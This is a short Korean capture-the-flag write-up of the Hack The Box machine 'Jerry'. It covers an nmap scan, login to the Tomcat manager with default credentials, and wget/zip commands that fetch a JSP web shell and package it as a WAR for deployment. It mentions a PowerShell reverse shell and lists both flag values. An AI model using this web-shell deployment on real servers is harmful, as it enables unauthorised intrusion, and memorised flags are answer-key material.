[HTB] Jerry 풀이

https://app.hackthebox.com/machines/Jerry?sort_by=created_at&sort_type=desc

Hack The Box

Windows OS 문제다. 플래그 2개를 한 번에 구할 수 있었다.

 

정찰 및 초기 침투

nmap --top-ports 1000 --Pn -n --open 10.129.136.9

nmap 실행 결과 8080포트가 열려 있음을 알 수 있다.

 

그 결과 8080포트에서 아파치 톰캣이 동작 중인 것을 확인할 수 있다.

그럼 먼저 톰캣 관리자 권한을 획득할 수 있는지 확인해봤다.

 

그 결과 위와 같이 tomcat:s3cret 계정을 이용해서 로그인할 수 있었다.

 

war 파일 배포를 통해 웹쉘 파일을 업로드했다.

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html#manual-method-2

Tomcat - HackTricks

 

리버스 쉘

그리고 리버스쉘 제너레이터로 powershell일 때 리버스쉘 연결 구문을 만들어서 연결해줬다.

 

user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

짜잔